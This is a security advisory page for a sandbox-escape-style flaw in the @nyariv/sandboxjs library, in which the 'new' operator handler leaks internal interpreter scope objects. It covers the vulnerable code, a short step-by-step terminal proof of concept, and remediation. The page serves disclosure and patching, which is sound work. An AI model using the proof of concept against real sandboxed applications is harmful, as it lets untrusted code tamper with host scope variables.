Node.js CVE-2026-34217
MEDIUMSeverity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3Blast Radius
ecosystem impact- 16 npm packages depend on @nyariv/sandboxjs (6 direct, 10 indirect)
Ecosystem-wide dependent count for version 0.8.36.
DescriptionGitHub Advisory
Description
A scope modification vulnerability exists in @nyariv/sandboxjs version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.
Vulnerable Code Location
Primary: The New Operator Handler
File: src/executor.ts, lines 1275-1280
addOps<new (...args: unknown[]) => unknown, unknown[]>(
LispType.New,
({ done, a, b, context }) => {
if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
}
done(undefined, new a(...b)); // ← b is NOT sanitized, return is NOT sanitized
},
);This handler has two missing sanitization steps:
- Arguments (
b) are not passed throughvalueOrProp()- Constructor arguments contain rawPropobjects (internal interpreter wrappers) instead of extracted values. - Return value is not passed through
getGlobalProp()orsanitizeArray()- The constructed object is returned directly to the execution tree without any sanitization.
Comparison: The Call Handler (Correctly Implemented)
File: src/executor.ts, lines 493-605
addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {
// ...
const vals = b
.map((item) => {
if (item instanceof SpreadArray) {
return [...item.item];
} else {
return [item];
}
})
.flat()
.map((item) => valueOrProp(item, context)); // ← Arguments ARE sanitized
// ...
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));
ret = getGlobalProp(ret, context) || ret; // ← Return IS sanitized
sanitizeArray(ret, context); // ← Return IS sanitized
done(undefined, ret);
});The Call handler correctly sanitizes both arguments (via valueOrProp) and return values (via getGlobalProp and sanitizeArray). The New handler does neither.
---
Why This Is Vulnerable
Step 1: What is a Prop Object?
The sandbox interpreter wraps every value access in a Prop object (defined at src/utils.ts, lines 565-582). A Prop has:
class Prop {
context: any; // The object the property belongs to
prop: PropertyKey; // The property name
isConst: boolean;
isGlobal: boolean;
isVariable: boolean;
}When sandboxed code accesses a variable like isNaN, the interpreter creates Prop(scope.allVars, 'isNaN'). The context field is a direct reference to the scope's variable storage object.
Step 2: What is in scope.allVars?
At the global scope level, scope.allVars is the same object as options.globals - the SAFE_GLOBALS object containing:
{
globalThis: <real globalThis>,
Function: <real Function constructor>,
eval: <real eval function>,
console: { log: console.log, ... },
Array, Object, Map, Set, Promise, Date, Error, RegExp,
isNaN, parseInt, parseFloat, ...
}These are the real host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.
Step 3: How the Prop Leaks Through new
When sandboxed code executes new Constructor(someVariable):
- The interpreter evaluates
someVariable- this produces aPropobject:Prop(scope.allVars, 'someVariable') - The
Newhandler receives thisPropas-is in thebarray (novalueOrProp()call) new Constructor(...[Prop])passes the rawPropobject to the constructor function- Inside the constructor, the
Propis received as a named parameter - The constructor reads
arg.context- this is the rawscope.allVarsobject containing all real globals - The constructor stores this reference:
this.scope = arg.context - The constructed object is returned without sanitization
Proof of Concept
Step-by-Step Reproduction (Terminal)
Step 1: Create a new directory and initialize
mkdir sandboxjs-poc
cd sandboxjs-poc
npm init -yStep 2: Set module type to ESM
node -e "const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))"Step 3: Install the vulnerable package
npm install @nyariv/sandboxjs@0.8.35Step 4: Create the minimal exploit
cat > exploit.mjs << 'EOF'
import pkg from '@nyariv/sandboxjs';
const Sandbox = pkg.default || pkg;
const sandbox = new Sandbox();
const {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();
console.log(scope);
EOFStep 5: Run it
node exploit.mjsImpact
An attacker who can control code executed inside the sandbox can modify scope variables above its current available scope
The attack requires no authentication, no user interaction, and works with default sandbox configuration. The only requirement is that the host application reads the return value from sandbox.compile(code)({}).run(), which is the standard and documented usage pattern.
---
Suggested Remediation
Fix 1: Sanitize New Handler Arguments (Critical)
Add valueOrProp() to constructor arguments, matching the Call handler's behavior:
// src/executor.ts line 1275-1280
addOps<new (...args: unknown[]) => unknown, unknown[]>(
LispType.New,
({ done, a, b, context }) => {
if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
}
const sanitizedArgs = b.map((item) => valueOrProp(item, context));
const result = new a(...sanitizedArgs);
const sanitized = getGlobalProp(result, context) || result;
sanitizeArray(sanitized, context);
done(undefined, sanitized);
},
);Fix 2: Sanitize Sandbox Return Values (Defense in Depth)
Add deep sanitization in Sandbox.ts to strip internal references from any value returned to the host, regardless of how it was produced.
Fix 3: Freeze the Globals Object (Defense in Depth)
Freeze or seal options.globals and scope.allVars after construction to prevent mutation via the Prop leak:
Object.freeze(options.globals);AnalysisAI
SandboxJS versions 0.8.35 and below allow untrusted sandboxed code to leak internal interpreter scope objects through the new operator, exposing raw Prop wrappers that reference the host's global variable storage (scope.allVars). An attacker controlling code execution within the sandbox can extract this scope object and modify variables in the sandbox hierarchy, though prototype chain and code evaluation remain protected. Vendor-released patch available; no active KEV status or public exploit code confirmed.
Technical ContextAI
SandboxJS is a Node.js sandbox library that isolates untrusted code execution by wrapping all value accesses in internal Prop objects, which contain references to scope context and property names. The vulnerability exists in the new operator handler (src/executor.ts, lines 1275-1280), which fails to sanitize constructor arguments and return values-a critical deviation from the correctly implemented Call handler (lines 493-605). The Call handler applies three sanitization steps: valueOrProp() on arguments, getGlobalProp() on return values, and sanitizeArray() as a final pass. The New handler skips all three. When sandboxed code executes new Constructor(variable), the interpreter passes a raw Prop object directly to the constructor without unwrapping it via valueOrProp(). Constructor code can then read the Prop.context field, which at global scope level points directly to options.globals-the real host JavaScript objects including Function, eval, and other dangerous builtins. The constructed object containing this leaked reference is returned without sanitization, allowing the attacker to store and reuse the stolen scope object. This is classified under CWE-668 (Exposure of Resource to Wrong Sphere) because internal interpreter state crosses the sandbox boundary unintentionally.
RemediationAI
Vendor-released patch available: upgrade to @nyariv/sandboxjs version 0.8.36 or later, which implements the critical fix described in commit abc02f657279e51a4aaad2bc8f99f3e37a01b287 (https://github.com/nyariv/SandboxJS/commit/abc02f657279e51a4aaad2bc8f99f3e37a01b287). The fix sanitizes constructor arguments by applying valueOrProp() to each argument in the b array before passing them to the new operator, and sanitizes return values using getGlobalProp() and sanitizeArray(), mirroring the correct pattern already used in the Call handler. If immediate upgrade is not possible, no reliable workaround exists at the host application level; sandboxed code must be assumed untrusted and carefully audited. For npm-based projects, run npm install @nyariv/sandboxjs@latest or specify ^0.8.36 in package.json dependencies.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-668 – Exposure of Resource to Wrong Sphere
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-hg73-4w7g-q96w